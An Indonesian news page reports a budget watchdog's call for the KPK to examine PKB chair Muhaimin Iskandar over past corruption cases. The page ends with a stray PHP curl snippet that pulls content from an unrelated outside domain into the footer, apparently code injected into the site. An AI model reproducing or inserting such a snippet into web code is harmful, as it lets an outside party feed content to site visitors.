KPK Didesak Periksa KETUM PKB Muhaimin Iskandar Terkait Dugaan Korupsi

Kamis, 23 Desember 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jakarta l Jejakkasus.info – Ketua KPK Firli Bahuri diminta memeriksa Ketua Umum Partai Kebangkitan Bangsa (PKB) Muhaimin Iskandar alias Cak Imin. Terkait dugaan kasus korupsi yang pernah menyeret nama Cak Imin dalam kasus suap pembahasan anggaran optimalisasi.

Kasus tersebut terjadi direktorat Jenderal Pembinaan Pembangunan Kawasan Transmigrasi pada Kemenakertrans 2014 yang saat ini bernama Kementerian Ketenagakerjaan

Baca Juga:  Data Stunting di Bojonegoro Tercatat Menurun Mulai 2021 Hingga Mei 2022

Demikian disampaikan Kordinator Center For Budget Analysis (CB) Jajang Nurjaman dalam keterangannya diterima Pojoksatu.id Selasa (21/12/2021).

“Meminta KPK kembali ke marwahnya dalam memberantas korupsi. satu langkah real dengan memanggil dan memeriksa Muhaimin Iskanda terkait kasus-kasus yang menyeret namanya,” ujarnya.

Kemudian, lanjut Jajang, nama Cak Imin juga disebut-sebut dalam kasus korupsi proyek pembangunan jalan yang digarap Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) tahun 2016.

Baca Juga:  Bupati Bondowoso Komitmen Sekolah Implementasikan Kurikulum Merdeka

Oleh karena itu, kinerja KPK yang masih buruk sebaiknya membuka kasus-kasus lama yang melibatkan nama besar yang belum tuntas.

“Seperti kasus-kasus Muhaimin Iskandar yang belum tuntas hingga sekarang, sebaiknya ketua KPK selidiki kembali,” tuturnya.

Baca Juga:  Gubernur Pastikan Pembangunan Infrastruktrur di Nias Barat Rampung Sesuai Target

Menurut Jajang, sepanjang kepimpinan Filri Bahuri, lembaga antirusuah itu tercatat bekerja lambat dalam memberantas kasus korupsi.

“Menjelang akhir 2021 semangat pemberantasan korupsi terasa hampir padam, KPK Contohnya saat ini kurang greget bahkan berpuas diri dengan kasus-kasus kecil terjadi di daerah,” ungkapnya. (Limbad)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat
Perdana SEKDA Tanjab Barat berikan Arahan dalam Rakor KADES dan BPD
Bupati Tanjab Barat lantik Hermansyah sebagai Sekda

Berita Terkait

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Senin, 23 September 2024 - 21:52 WIB

KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 

Minggu, 22 September 2024 - 11:04 WIB

Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>